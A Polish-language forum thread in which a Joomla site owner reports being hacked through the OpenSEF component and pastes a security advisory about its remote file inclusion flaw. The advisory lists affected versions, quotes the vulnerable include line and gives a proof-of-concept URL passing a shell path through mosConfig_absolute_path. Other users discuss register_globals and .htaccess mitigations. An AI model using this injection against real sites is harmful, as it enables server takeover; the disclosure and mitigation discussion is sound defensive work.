Komponent OpenSef Proponuje odinstalować !

[basil]

Zostalem ofiara wykorzystania luki bezpieczenstwa w komponencie OpenSef



Proponuje ODINSTALOWAC KOMPONENT !
do czasu opracowania łatki.

luki maja wersje:
OpenSEF Project OpenSEF 2.0-beta3
OpenSEF Project OpenSEF 2.0 RC5 SP2
OpenSEF Project OpenSEF 2.0 RC5 SP1
OpenSEF Project OpenSEF 2.0 RC5
OpenSEF Project OpenSEF 2.0 RC4
OpenSEF Project OpenSEF 2.0 RC3
OpenSEF Project OpenSEF 2.0 RC2
OpenSEF Project OpenSEF 2.0 RC1

A Oto jak tego dokonali izraelczycy:

Joomla OpenSEF Component mosConfig_absolute_path Remote File Include Vulnerability

#####################
Aria-Security.net Advisory
Discovered by: O.U.T.L.A.W # # < www.Aria-security.net >
Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp
###################

#Software: OpenSEF

#Attack method: Remote File Inclusion

#Description : OpenSEF is a Joomla component that extends the built-in SEF (Search Engine Friendly)

#Source:

require_once( $mosConfig_absolute_path . '/includes/sef.php' );

} else {

// Joomla!'s SEF option is turned off; revert to Joomla!'s original-style

#Proof of Concept:

#http://www.site.com/sef.php?mosConfi...ute_path=SHELL

#

#----------------------------------------------------------

#

#

OpenSEF Project OpenSEF 2.0-beta3
OpenSEF Project OpenSEF 2.0 RC5 SP2
OpenSEF Project OpenSEF 2.0 RC5 SP1
OpenSEF Project OpenSEF 2.0 RC5
OpenSEF Project OpenSEF 2.0 RC4
OpenSEF Project OpenSEF 2.0 RC3
OpenSEF Project OpenSEF 2.0 RC2
OpenSEF Project OpenSEF 2.0 RC1

[Radef]

A miałeś zainstalowaną łatkę bezpieczeństwa na plik sef.php?

Jak sprawdzić czy to zadziała z moją wersją open-sef?

[basil]

oczywiscie plik sef.php byl podmieniony na najnowsza wersje.
Nie musze jeszcze dodawac ze Joomla takze w wersji 1.0.11

[josh]

mi sie wbili przez joomle 1.0.11 bo olalem zalecane ustawienia register global

takze zalecam ustawic to tak jak nalezy

[Radef]

Mnie nie udało się przekonać administratora do wyłaczenia tej zmiennej. Da się jakoś to zabezpieczyć?

[nexus246]

Zależy od serwera, w htaccess. Basil zapewne nie wykorzystał do łaczonego do v. 1.0.11 htaccessa blokującego wywołania ze zmiennymi z konfiguracji w adresie URL.